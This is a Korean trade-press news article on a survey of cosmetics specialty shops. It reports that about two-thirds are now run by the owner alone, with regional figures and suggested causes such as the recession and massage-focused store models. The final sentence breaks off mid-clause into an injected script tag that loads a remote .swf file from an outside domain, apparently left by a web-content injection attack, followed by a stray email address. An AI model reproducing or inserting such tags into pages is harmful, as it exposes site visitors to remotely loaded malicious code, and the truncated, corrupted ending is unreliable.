누가 손님인지 카운슬러인지 모를 정도로 카운슬러가 많던 전문점은 이제 찾아보기 힘들어졌다. 전국 전문점 1만 2천여점을 대상으로 본지가 전화 설문조사한 결과 조사에 응대한 5466점의 전문점 중 66.5%(3637점)가 카운슬러를 고용하지 않고 점주 혼자 매장을 경영하고 있다고 답변했다.
점주 혼자 매장을 경영하고 있다는 매장은 서울지역이 742점으로 20.4%의 비중을 차지하며 가장 높은 비율을 보였다. 이는 설문에 응한 서울지역의 전문점 총 1295점 가운데 57.3%에 달하는 높은 비율로 대형매장이 속속 들어서고 있는 서울지역 내에서 이들에 비해 상대적으로 경쟁력이 약소한 매장들은 고용직원의 수를 감소시켜 매장운영 상의 경쟁력을 커버하고 있다는 점을 반영하고 있다.
서울지역의 이같은 직원수 감소세는 지난 1년 새에 급격히 증가해 시선을 모은다. 지난해 본지 조사에 의하면 서울지역에서 점주 혼자 매장을 운영한다는 전문점은 전체 전문점 중 2.3%에 불과하는 아주 미약한 수치로 조사된 바 있다. 하지만 1년 사이에 이 수치는 무려 18.1%나 상승했다. 계속되는 경기 불황에 더해진 전문점 시장의 장기 침체화는 매장에서 직원의 수를 몰아내는 결과를 초래한 것이다.
하지만 점주 혼자 매장을 운영하는 비율이 증가하고 있는 것은 비단 경기의 문제만은 아닌 것으로 분석된다. 특히, 지난해에 비해 급속히 점주 혼자 매장을 운영한다는 수가 증가한 서울지역의 경우 1∼2년 전부터 경쟁력 강화를 위해 마사지 시설을 설치하는 사례가 유행처럼 몰려온 바 있다.
마사지 시설 설치와 함께 자연스럽게 마사지용 제품을 공급하는 거점브랜드 위주로 매장운영 방침 역시 변경됐다. 몇몇 브랜드 중심으로 매장을 운영하다 보니 예전처럼 많은 수의 직원이 필요 없어 졌으며, 업체에서 지원 나오는 마사지 사원이나 순회사원만으로도 매장운영에는 큰 어려움이 없다는 점주들의 의견도 설득력 있게 전달되고 있다.
이유야 어찌되었건 지난 1년 사이에 급격하게 그 비율이 증가한 서울지역을 포함해 전국 전문점에서 점주 혼자 매장을 운영하는 전문점이 증가하고 있는 것만큼은 부인할 수 없는 사실이다.
지난해 전국 전문점의 57.6%가 점주 단독으로 매장을 운영하고 있었던데 반해 올해는 무려 8.9%나 증가한 66.5%가 단독운영방식을 채택했기 때문이다.
전남 80.1%가 홀로운영… 매장평수 뒷받침
서울에 이어 경기도가 14.0%(510점)의 비율로 점주 혼자 매장을 운영한다는 답변이 많았으며, 울산지역이 1.7%로 점주혼자 매장을 운영한다는 비율이 가장 낮았다.
점주혼자 매장을 운영한다는 전문점의 비율은 전국에서 모두 50%를 상회하는 수치를 기록했다. 대구 지역이 대구의 모든 전문점 중 51.6%가 점주 혼자 매장을 운영한다고 대답해 가장 낮은 수치를 기록했으며, 전라남도 지역은 무려 80.1%가 점주 혼자 매장을 운영하는 형태를 취하고 있었다.
최고수치를 기록한 전라남도 지역은 상대적으로 직원이 5명 이상인 매장이 한 전문점도 없는 것으로 나타나 점주의 독자적인 운영방식에 의해 직접 운영하는 형태의 소형 매장이 강세를 보이고 있는 것으로 나타났다. 실제, 본지가 전국 전문점의 매장 평수에 관한 조사 결과 전라남도 지역은 30평 이상의 규모를 갖춘 전문점이 한 매장도 없었다는 ?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
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